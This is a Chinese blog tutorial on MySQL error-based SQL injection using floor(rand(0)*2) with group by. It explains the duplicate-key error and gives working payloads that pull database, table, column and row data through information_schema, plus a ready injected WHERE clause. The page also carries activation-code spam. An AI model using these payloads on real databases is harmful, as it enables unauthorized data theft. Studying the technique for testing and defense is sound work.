group by 报错_group by null

group by 报错_group by nullfloor()报错注入playloadselect(concat(database(),floor(rand(0)2)))x,concat()frominformation_schema.tablesgroupbyx;函数count(*)函数返回给定选择中被选的函数concat()连接字符串floor()向下取整rand()随机数函数rand(0)伪随机数,生成的随…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

mysql bug #8652
有可能不成功,依赖于生成的两次虚拟表的主键不同引发报错

playload

floor():
select concat(floor(rand(0)*2),0x5e,version(),0x5e)x,count(*) from test group by x;
select concat(0x5e,version(),0x5e,floor(rand(0)*2))x,count(*) from (select 1 union select 2 union select 3)a group by x; //数据不足三条或者关键表被禁用

round():
select concat(0x5e,version(),0x5e,round(rand(0)))x,count(*) from test group by x;

left():
select concat(0x5e,version(),0x5e,left(rand(0),3))x,count(*) from test group by x;

rand(),count()被禁用:
select min(@a:=1) from test group by concat(0x5e,@@version,0x5e,@a:=(@a+1)%2);

语句随机应变

函数

group by:分组方式,作为虚拟表的主键
count(*)返回满足条件的行的个数
group by 报错_group by null
concat()连接字符串
group by 报错_group by null
floor()向下取整
round()四舍五入
left(,3)从左向右取三位
rand()随机数函数
rand(0)伪随机数,生成的随机数有规律
group by 报错_group by null
floor(rand(0)*2)
生成的随机数存在规律0110110011101
group by 报错_group by null

原理解析

count函数是统计满足条件的行的个数,它的工作原理是先建一个虚拟表(key是主键,不可被重复)
group by 报错_group by null
先查询数据库中的数据,存在则个数加1,不存在则插入新数据
mysql官方规定,查询时使用rand()函数时,该值会计算多次,即查看虚拟表中是否含有这个数据时,rand函数计算一次,当数据不存在时,会插入数据(rand函数计算的值),插入时rand汉再计算一次
结合floor(rand(0)*2)是有规律的随机数,也就是说:

select floor(rand(0)*2)x,count(*) from test group by x
(select floor(rand(0)*2) as x,count(*) from test group by x)
当查询第一个数据时,x的第一个值是0,在虚拟表中没有这个数据,所以插入数据,count值加1,插入时floor(rand(0)*2)会再被计算一次,值为1,即插入的数据是1,并不是0
group by 报错_group by null
查询第二个数据,此时x的值为1,存在这个数据,count值加1,不需要插入数据,所以floor(rand(0)*2)不会被再次计算
group by 报错_group by null
继续查询数据,此时x值为0,虚拟表中不存在0,所以要插入新数据,此时floor(rand(0)*2)再次被计算,值为1,但是floor(rand(0)*2)是主键,不能被重复,所以此时会报错,报错内容是 1这个主键重复
group by 报错_group by null
虚拟表总共查询的次数为三次,所以floor报错注入满足的条件是数据库中要查询的数据至少3条以上。
我们利用报错信息会把重复的主键打印出来,构造playload,利用concat将我们需要的信息与floor拼接

select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x;(查库)

group by 报错_group by null

select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=“test” limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x;(查表)

group by 报错_group by null

select count(*),concat((select concat(column_name) from information_schema.columns where table_name=“test” limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x;(查列名)

group by 报错_group by null

select count(*),concat((select concat(id,0x3a,name,0x3a,age) from test limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x;

group by 报错_group by null

注入语句:

select id from test where id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a);

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/187642.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • Java二叉树前序遍历[通俗易懂]

    Java二叉树前序遍历[通俗易懂]给你二叉树的根节点root,返回它节点值的前序遍历。示例1:输入:root=[1,null,2,3]输出:[1,2,3]示例2:输入:root=[]输出:[]示例3:输入:root=[1]输出:[1]示例4:输入:root=[1,2]输出:[1,2]示例5:输入:root=[1,null,2]输出:[1,2]提示:树中节点数目在范围[0,100]内-100<=Node.val<=100进阶:递归算法很简单

  • 如何线上推广引流?百度知道实现精准引流

    如何线上推广引流?百度知道实现精准引流百度如何做推广精准吸粉的,百度知道的4个精准吸粉技巧!众所周知,百度是全球最大的中文搜索引擎,百度一下你就知道,这是我们非常熟悉的广告词之一。因为它的流量非常大,所以很多人都在那里努力分流。但是一部分人吸粉的效果不太好。为什么呢?因为流量的准确性不够!百度的百度知道是一个精准的流量池,这样我们就可以正确地把流量流到自己的平台上。你知道百度是如何引流的吗?今天,兴棋就给大家分享一下它的玩法,希望对大家有所帮助!一、做百度知道引流的两大优点!1、是能够带来直接的流量,如果你回答的问题能够带上链接,那

  • html中table表格里的内容如何居中「建议收藏」

    html中table表格里的内容如何居中「建议收藏」1.table表格整个居中<divstyle=”text-align:center;”><tableborder=”1″style=”margin:auto;”width=’60%’>……</table></div>我们在table外围div中加入样式style=”text-align:center;”,会发现table表格居中不生效,原因最后说。所以我们在<tableb…

  • Pycharm代码提示「建议收藏」

    Pycharm代码提示「建议收藏」点击File然后将PowerSaveMode旁边的√去掉就可以了我安装了中文插件,中文就是省电模式,取消勾选就可以实现代码提示

  • 前缀索引和覆盖索引

    前缀索引和覆盖索引前缀索引当索引的字符串列很大时,创建的索引也就变得很大,为了减小索引体积,提高索引的扫描速度,就用索引的前部分字串索引,这样索引占用的空间就会大大减少,并且索引的选择性也不会降低很多。而且是对BLOB和TEXT列进行索引,或者非常长的VARCHAR列,就必须使用前缀索引,因为MySQL不允许索引它们的全部长度。使用:列的前缀的长度选择很重要,又要节约索引空间,又要保证前缀索引的选择性要和…

  • php文件管理_php官方文档

    php文件管理_php官方文档<html><head><title>java</title></head><body><styletype=”text/css”>body{background:#E4E4E4;color:#666666;font-…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号